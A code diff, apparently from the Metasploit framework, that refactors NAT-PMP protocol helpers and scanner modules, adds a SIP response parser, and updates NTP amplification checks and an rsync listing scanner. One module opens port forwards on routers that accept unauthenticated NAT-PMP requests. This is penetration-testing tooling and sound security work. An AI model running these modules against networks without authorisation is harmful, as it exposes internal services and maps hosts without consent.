# The framework instance associated with this driver.
|
||||||
#
|
#
|
||||||
attr_reader :framework
|
attr_reader :framework
|
||||||
#
|
#
|
||||||
# Whether or not to confirm before exiting
|
# Whether or not to confirm before exiting
|
||||||
#
|
#
|
||||||
attr_reader :confirm_exit
|
attr_reader :confirm_exit
|
||||||
#
|
#
|
||||||
# Whether or not commands can be passed through.
|
# Whether or not commands can be passed through.
|
||||||
|
|
|
@ -12,20 +12,20 @@ module Proto
|
||||||
module NATPMP
|
module NATPMP
|
||||||
|
|
||||||
# Return a NAT-PMP request to get the external address.
|
# Return a NAT-PMP request to get the external address.
|
||||||
def self.external_address_request
|
def external_address_request
|
||||||
[ 0, 0 ].pack('nn')
|
[ 0, 0 ].pack('nn')
|
||||||
end
|
end
|
||||||
|
|
||||||
# Parse a NAT-PMP external address response +resp+.
|
# Parse a NAT-PMP external address response +resp+.
|
||||||
# Returns the decoded parts of the response as an array.
|
# Returns the decoded parts of the response as an array.
|
||||||
def self.parse_external_address_response(resp)
|
def parse_external_address_response(resp)
|
||||||
(ver, op, result, epoch, addr) = resp.unpack("CCvVN")
|
(ver, op, result, epoch, addr) = resp.unpack("CCnNN")
|
||||||
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
|
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
|
||||||
end
|
end
|
||||||
|
|
||||||
# Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms
|
# Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms
|
||||||
def self.map_port_request(lport, rport, protocol, lifetime)
|
def map_port_request(lport, rport, protocol, lifetime)
|
||||||
[ Rex::Proto::NATPMP::Version, # version
|
[ Rex::Proto::NATPMP::Version, # version
|
||||||
protocol, # opcode, which is now the protocol we are asking to forward
|
protocol, # opcode, which is now the protocol we are asking to forward
|
||||||
0, # reserved
|
0, # reserved
|
||||||
lport,
|
lport,
|
||||||
|
@ -36,8 +36,8 @@ module NATPMP
|
||||||
|
|
||||||
# Parse a NAT-PMP mapping response +resp+.
|
# Parse a NAT-PMP mapping response +resp+.
|
||||||
# Returns the decoded parts as an array.
|
# Returns the decoded parts as an array.
|
||||||
def self.parse_map_port_response(resp)
|
def parse_map_port_response(resp)
|
||||||
resp.unpack("CCvVnnN")
|
resp.unpack("CCnNnnN")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
# encoding: binary
|
||||||
|
|
||||||
|
# SIP protocol support
|
||||||
|
require 'rex/proto/sip/response'
|
|
@ -0,0 +1,61 @@
|
||||||
|
# encoding: binary
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
# SIP protocol support
|
||||||
|
module SIP
|
||||||
|
SIP_STATUS_REGEX = /^SIP\/(\d\.\d) (\d{3})\s*(.*)$/
|
||||||
|
|
||||||
|
# Represents a generic SIP message
|
||||||
|
class Message
|
||||||
|
attr_accessor :headers
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
@headers = {}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a list of all values from all +name+ headers, regardless of case,
|
||||||
|
# or nil if no matching header is found
|
||||||
|
def header(name)
|
||||||
|
matches = @headers.select { |k, _| k.downcase == name.downcase }
|
||||||
|
return nil if matches.empty?
|
||||||
|
matches.values.flatten
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns a hash of header name to values mapping
|
||||||
|
# from the provided message, or nil if no headers
|
||||||
|
# are found
|
||||||
|
def self.extract_headers(message)
|
||||||
|
pairs = message.scan(/^([^\s:]+):\s*(.*)$/)
|
||||||
|
return nil if pairs.empty?
|
||||||
|
headers = {}
|
||||||
|
pairs.each do |pair|
|
||||||
|
headers[pair.first] ||= []
|
||||||
|
headers[pair.first] << pair.last.strip
|
||||||
|
end
|
||||||
|
headers
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Represents a SIP response message
|
||||||
|
class Response < Message
|
||||||
|
attr_accessor :code, :message, :status_line, :version
|
||||||
|
|
||||||
|
# Parses +data+, constructs and returns a Response
|
||||||
|
def self.parse(data)
|
||||||
|
response = Response.new
|
||||||
|
# do some basic sanity checking on this response to ensure that it is SIP
|
||||||
|
response.status_line = data.split(/\r\n/)[0]
|
||||||
|
unless response.status_line && response.status_line =~ SIP_STATUS_REGEX
|
||||||
|
fail(ArgumentError, "Invalid SIP status line: #{response.status_line}")
|
||||||
|
end
|
||||||
|
response.version = Regexp.last_match(1)
|
||||||
|
response.code = Regexp.last_match(2)
|
||||||
|
response.message = Regexp.last_match(3)
|
||||||
|
response.headers = extract_headers(data)
|
||||||
|
response
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,22 +1,74 @@
|
||||||
|
# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
|
||||||
|
# It is recommended to regenerate this file in the future when you upgrade to a
|
||||||
|
# newer version of cucumber-rails. Consider adding your own code to a new file
|
||||||
|
# instead of editing this one. Cucumber will automatically load all features/**/*.rb
|
||||||
|
# files.
|
||||||
|
|
||||||
|
|
||||||
|
unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
|
||||||
|
|
||||||
|
vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
|
||||||
|
$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
|
||||||
|
|
||||||
begin
|
begin
|
||||||
require 'cucumber'
|
|
||||||
require 'cucumber/rake/task'
|
require 'cucumber/rake/task'
|
||||||
|
|
||||||
|
namespace :cucumber do
|
||||||
|
Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t|
|
||||||
|
t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
|
||||||
|
t.fork = true # You may get faster startup if you set this to false
|
||||||
|
t.profile = 'default'
|
||||||
|
end
|
||||||
|
|
||||||
Cucumber::Rake::Task.new(:features) do |t|
|
Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t|
|
||||||
t.cucumber_opts = 'features --format pretty'
|
t.binary = vendored_cucumber_bin
|
||||||
t.profile = 'default'
|
t.fork = true # You may get faster startup if you set this to false
|
||||||
end
|
t.profile = 'wip'
|
||||||
|
end
|
||||||
|
|
||||||
namespace :features do
|
Cucumber::Rake::Task.new({:rerun => 'db:test:prepare'}, 'Record failing features and run only them if any exist') do |t|
|
||||||
Cucumber::Rake::Task.new(:boot) do |t|
|
t.binary = vendored_cucumber_bin
|
||||||
t.profile = 'boot'
|
t.fork = true # You may get faster startup if you set this to false
|
||||||
|
t.profile = 'rerun'
|
||||||
|
end
|
||||||
|
|
||||||
|
desc 'Run all features'
|
||||||
|
task :all => [:ok, :wip]
|
||||||
|
|
||||||
|
task :statsetup do
|
||||||
|
require 'rails/code_statistics'
|
||||||
|
::STATS_DIRECTORIES << %w(Cucumber\ features features) if File.exist?('features')
|
||||||
|
::CodeStatistics::TEST_TYPES << "Cucumber features" if File.exist?('features')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
desc 'Alias for cucumber:ok'
|
||||||
|
task :cucumber => 'cucumber:ok'
|
||||||
|
|
||||||
|
task :default => :cucumber
|
||||||
|
|
||||||
|
task :features => :cucumber do
|
||||||
|
STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***"
|
||||||
|
end
|
||||||
|
|
||||||
|
# In case we don't have ActiveRecord, append a no-op task that we can depend upon.
|
||||||
|
task 'db:test:prepare' do
|
||||||
|
end
|
||||||
|
|
||||||
|
task 'db:config:restore' do
|
||||||
|
require 'metasploit/framework/database/cucumber'
|
||||||
|
Metasploit::Framework::Database::Cucumber.restore_project_configurations
|
||||||
|
end
|
||||||
|
|
||||||
|
# Restore the config/database.yml from config/database.cucumber.yml before attempting to copy development to test
|
||||||
|
# database in order to recover from interrupted cucumber runs
|
||||||
|
task 'environment' => 'db:config:restore'
|
||||||
|
|
||||||
|
task :stats => 'cucumber:statsetup'
|
||||||
rescue LoadError
|
rescue LoadError
|
||||||
task :features do
|
desc 'cucumber rake task not available (cucumber not installed)'
|
||||||
puts "cucumber not in bundle, so can't set up feature tasks. " \
|
task :cucumber do
|
||||||
"To run features ensure to install the development and test groups."
|
abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
|
||||||
|
|
||||||
|
vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
|
||||||
|
$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
|
||||||
|
|
||||||
|
begin
|
||||||
|
require 'cucumber/rake/task'
|
||||||
|
|
||||||
|
namespace :cucumber do
|
||||||
|
Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t|
|
||||||
|
t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
|
||||||
|
t.fork = true # You may get faster startup if you set this to false
|
||||||
|
t.profile = 'boot'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -4,12 +4,13 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex/proto/natpmp'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::NATPMP
|
||||||
|
include Rex::Proto::NATPMP
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
@ -21,12 +22,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::LPORT,
|
OptPort.new('EXTERNAL_PORT', [true, 'The external port to foward from']),
|
||||||
Opt::RPORT,
|
OptPort.new('INTERNAL_PORT', [true, 'The internal port to forward to']),
|
||||||
OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]),
|
|
||||||
OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]),
|
OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]),
|
||||||
OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]),
|
OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]),
|
||||||
Opt::CHOST
|
|
||||||
],
|
],
|
||||||
self.class
|
self.class
|
||||||
)
|
)
|
||||||
|
@ -43,21 +42,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# get the external address first
|
# get the external address first
|
||||||
vprint_status "#{host} - NATPMP - Probing for external address"
|
vprint_status "#{host} - NATPMP - Probing for external address"
|
||||||
req = Rex::Proto::NATPMP.external_address_request
|
udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0)
|
||||||
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
|
|
||||||
external_address = nil
|
external_address = nil
|
||||||
while (r = udp_sock.recvfrom(12, 1) and r[1])
|
while (r = udp_sock.recvfrom(12, 1) and r[1])
|
||||||
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0])
|
(ver, op, result, epoch, external_address) = parse_external_address_response(r[0])
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status "#{host} - NATPMP - Sending mapping request"
|
vprint_status "#{host} - NATPMP - Sending mapping request"
|
||||||
# build the mapping request
|
# build the mapping request
|
||||||
req = Rex::Proto::NATPMP.map_port_request(
|
req = map_port_request(
|
||||||
datastore['LPORT'].to_i, datastore['RPORT'].to_i,
|
datastore['INTERNAL_PORT'], datastore['EXTERNAL_PORT'],
|
||||||
Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']
|
Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']
|
||||||
)
|
)
|
||||||
# send it
|
# send it
|
||||||
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
|
udp_sock.sendto(req, host, datastore['RPORT'], 0)
|
||||||
# handle the reply
|
# handle the reply
|
||||||
while (r = udp_sock.recvfrom(16, 1) and r[1])
|
while (r = udp_sock.recvfrom(16, 1) and r[1])
|
||||||
handle_reply(Rex::Socket.source_address(host), host, external_address, r)
|
handle_reply(Rex::Socket.source_address(host), host, external_address, r)
|
||||||
|
@ -78,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
(ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0])
|
(ver, op, result, epoch, internal_port, external_port, lifetime) = parse_map_port_response(pkt[0])
|
||||||
|
|
||||||
if (result == 0)
|
if (result == 0)
|
||||||
if (datastore['RPORT'].to_i != external_port)
|
if (datastore['EXTERNAL_PORT'] != external_port)
|
||||||
print_status( "#{external_address} " +
|
print_status( "#{external_address} " +
|
||||||
"#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " +
|
"#{datastore['EXTERNAL_PORT']}/#{datastore['PROTOCOL']} -> #{map_target} " +
|
||||||
"#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded")
|
"#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded")
|
||||||
end
|
end
|
||||||
print_status( "#{external_address} " +
|
print_status( "#{external_address} " +
|
||||||
|
|
|
@ -4,12 +4,14 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex/proto/natpmp'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Exploit::Remote::Udp
|
||||||
|
include Msf::Auxiliary::UDPScanner
|
||||||
|
include Msf::Auxiliary::NATPMP
|
||||||
|
include Rex::Proto::NATPMP
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
@ -19,68 +21,43 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
)
|
)
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
|
|
||||||
Opt::CHOST
|
|
||||||
],
|
|
||||||
self.class
|
|
||||||
)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(host)
|
def scan_host(ip)
|
||||||
begin
|
scanner_send(@probe, ip, datastore['RPORT'])
|
||||||
udp_sock = Rex::Socket::Udp.create({
|
end
|
||||||
'LocalHost' => datastore['CHOST'] || nil,
|
|
||||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
|
||||||
})
|
|
||||||
add_socket(udp_sock)
|
|
||||||
vprint_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address"
|
|
||||||
|
|
||||||
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
|
def scanner_prescan(batch)
|
||||||
while (r = udp_sock.recvfrom(12, 1.0) and r[1])
|
@probe = external_address_request
|
||||||
handle_reply(host, r)
|
end
|
||||||
|
|
||||||
|
def scanner_process(data, shost, sport)
|
||||||
|
(ver, op, result, epoch, external_address) = parse_external_address_response(data)
|
||||||
|
|
||||||
|
peer = "#{shost}:#{sport}"
|
||||||
|
if (ver == 0 && op == 128 && result == 0)
|
||||||
|
print_good("#{peer} -- external address #{external_address}")
|
||||||
|
# report its external address as alive
|
||||||
|
if inside_workspace_boundary?(external_address)
|
||||||
|
report_host(
|
||||||
|
:host => external_address,
|
||||||
|
:state => Msf::HostState::Alive
|
||||||
|
)
|
||||||
end
|
end
|
||||||
rescue ::Interrupt
|
else
|
||||||
raise $!
|
print_error("#{peer} -- unexpected version/opcode/result/address: #{ver}/#{op}/#{result}/#{external_address}")
|
||||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
|
||||||
nil
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{host}:#{datastore['RPORT']} Unknown error: #{e.class} #{e}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def handle_reply(host, pkt)
|
|
||||||
return if not pkt[1]
|
|
||||||
|
|
||||||
if(pkt[1] =~ /^::ffff:/)
|
|
||||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
|
||||||
end
|
|
||||||
|
|
||||||
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0])
|
|
||||||
|
|
||||||
if (result == 0)
|
|
||||||
print_status("#{host} -- external address #{external_address}")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# report the host we scanned as alive
|
# report the host we scanned as alive
|
||||||
report_host(
|
report_host(
|
||||||
:host => host,
|
:host => shost,
|
||||||
:state => Msf::HostState::Alive
|
:state => Msf::HostState::Alive
|
||||||
)
|
)
|
||||||
|
|
||||||
# also report its external address as alive
|
|
||||||
if inside_workspace_boundary?(external_address)
|
|
||||||
report_host(
|
|
||||||
:host => external_address,
|
|
||||||
:state => Msf::HostState::Alive
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
# report NAT-PMP as being open
|
# report NAT-PMP as being open
|
||||||
report_service(
|
report_service(
|
||||||
:host => host,
|
:host => shost,
|
||||||
:port => pkt[2],
|
:port => sport,
|
||||||
:proto => 'udp',
|
:proto => 'udp',
|
||||||
:name => 'natpmp',
|
:name => 'natpmp',
|
||||||
:state => Msf::ServiceState::Open
|
:state => Msf::ServiceState::Open
|
||||||
|
|
|
@ -5,12 +5,13 @@
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex/proto/natpmp'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::NATPMP
|
||||||
|
include Rex::Proto::NATPMP
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
@ -22,10 +23,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
|
|
||||||
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]),
|
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]),
|
||||||
OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]),
|
OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]),
|
||||||
Opt::CHOST
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -36,32 +35,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'Context' => {'Msf' => framework, 'MsfExploit' => self} }
|
'Context' => {'Msf' => framework, 'MsfExploit' => self} }
|
||||||
)
|
)
|
||||||
add_socket(udp_sock)
|
add_socket(udp_sock)
|
||||||
vprint_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP"
|
peer = "#{host}:#{datastore['RPORT']}"
|
||||||
|
vprint_status("#{peer} Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} using NATPMP")
|
||||||
|
|
||||||
# first, send a request to get the external address
|
# first, send a request to get the external address
|
||||||
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
|
udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0)
|
||||||
external_address = nil
|
external_address = nil
|
||||||
while (r = udp_sock.recvfrom(12, 0.25) and r[1])
|
while (r = udp_sock.recvfrom(12, 0.25) and r[1])
|
||||||
(ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0])
|
(ver,op,result,epoch,external_address) = parse_external_address_response(r[0])
|
||||||
end
|
end
|
||||||
|
|
||||||
if (external_address)
|
if (external_address)
|
||||||
print_good("External address of #{host} is #{external_address}")
|
print_good("#{peer} responded with external address of #{external_address}")
|
||||||
else
|
else
|
||||||
print_error("Didn't get a response for #{host}'s external address")
|
vprint_status("#{peer} didn't respond with an external address")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
Rex::Socket.portspec_crack(datastore['PORTS']).each do |port|
|
Rex::Socket.portspec_crack(datastore['PORTS']).each do |port|
|
||||||
# send one request to clear the mapping if *we've* created it before
|
# send one request to clear the mapping if *we've* created it before
|
||||||
clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0)
|
clear_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0)
|
||||||
udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0)
|
udp_sock.sendto(clear_req, host, datastore['RPORT'], 0)
|
||||||
while (r = udp_sock.recvfrom(16, 1.0) and r[1])
|
while (r = udp_sock.recvfrom(16, 1.0) and r[1])
|
||||||
end
|
end
|
||||||
|
|
||||||
# now try the real mapping
|
# now try the real mapping
|
||||||
map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1)
|
map_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1)
|
||||||
udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0)
|
udp_sock.sendto(map_req, host, datastore['RPORT'], 0)
|
||||||
while (r = udp_sock.recvfrom(16, 1.0) and r[1])
|
while (r = udp_sock.recvfrom(16, 1.0) and r[1])
|
||||||
handle_reply(host, external_address, r)
|
handle_reply(host, external_address, r)
|
||||||
end
|
end
|
||||||
|
@ -85,21 +85,22 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
host = pkt[1]
|
host = pkt[1]
|
||||||
protocol = datastore['PROTOCOL'].to_s.downcase
|
protocol = datastore['PROTOCOL'].to_s.downcase
|
||||||
|
|
||||||
(ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0])
|
(ver, op, result, epoch, int, ext, lifetime) = parse_map_port_response(pkt[0])
|
||||||
|
peer = "#{host}:#{datastore['RPORT']}"
|
||||||
if (result == 0)
|
if (result == 0)
|
||||||
# we always ask to map an external port to the same port on us. If
|
# we always ask to map an external port to the same port on us. If
|
||||||
# we get a successful reponse back but the port we requested be forwarded
|
# we get a successful reponse back but the port we requested be forwarded
|
||||||
# is different, that means that someone else already has it open
|
# is different, that means that someone else already has it open
|
||||||
if (int != ext)
|
if (int != ext)
|
||||||
state = Msf::ServiceState::Open
|
state = Msf::ServiceState::Open
|
||||||
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports")
|
print_good("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports")
|
||||||
else
|
else
|
||||||
state = Msf::ServiceState::Closed
|
state = Msf::ServiceState::Closed
|
||||||
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
|
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
state = Msf::ServiceState::Closed
|
state = Msf::ServiceState::Closed
|
||||||
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
|
print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
|
||||||
end
|
end
|
||||||
|
|
||||||
if inside_workspace_boundary?(external_addr)
|
if inside_workspace_boundary?(external_addr)
|
||||||
|
|
|
@ -123,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
vulnerable, proof = prove_drdos(response_map)
|
vulnerable, proof = prove_amplification(response_map)
|
||||||
what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)'
|
what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)'
|
||||||
if vulnerable
|
if vulnerable
|
||||||
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
||||||
|
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
peer = "#{k}:#{rport}"
|
peer = "#{k}:#{rport}"
|
||||||
vulnerable, proof = prove_drdos(response_map)
|
vulnerable, proof = prove_amplification(response_map)
|
||||||
what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS'
|
what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS'
|
||||||
if vulnerable
|
if vulnerable
|
||||||
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
||||||
|
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
peer = "#{k}:#{rport}"
|
peer = "#{k}:#{rport}"
|
||||||
vulnerable, proof = prove_drdos(response_map)
|
vulnerable, proof = prove_amplification(response_map)
|
||||||
what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS'
|
what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS'
|
||||||
if vulnerable
|
if vulnerable
|
||||||
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
||||||
|
|
|
@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
peer = "#{k}:#{rport}"
|
peer = "#{k}:#{rport}"
|
||||||
vulnerable, proof = prove_drdos(response_map)
|
vulnerable, proof = prove_amplification(response_map)
|
||||||
what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS'
|
what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS'
|
||||||
if vulnerable
|
if vulnerable
|
||||||
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
||||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
peer = "#{k}:#{rport}"
|
peer = "#{k}:#{rport}"
|
||||||
vulnerable, proof = prove_drdos(response_map)
|
vulnerable, proof = prove_amplification(response_map)
|
||||||
what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS'
|
what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS'
|
||||||
if vulnerable
|
if vulnerable
|
||||||
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
||||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
)
|
)
|
||||||
|
|
||||||
peer = "#{k}:#{rport}"
|
peer = "#{k}:#{rport}"
|
||||||
vulnerable, proof = prove_drdos(response_map)
|
vulnerable, proof = prove_amplification(response_map)
|
||||||
what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS'
|
what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS'
|
||||||
if vulnerable
|
if vulnerable
|
||||||
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
||||||
|
|
|
@ -0,0 +1,67 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Rsync Unauthenticated List Command',
|
||||||
|
'Description' => 'List all (listable) modules from a rsync daemon',
|
||||||
|
'Author' => 'ikkini',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://rsync.samba.org/ftp/rsync/rsync.html']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
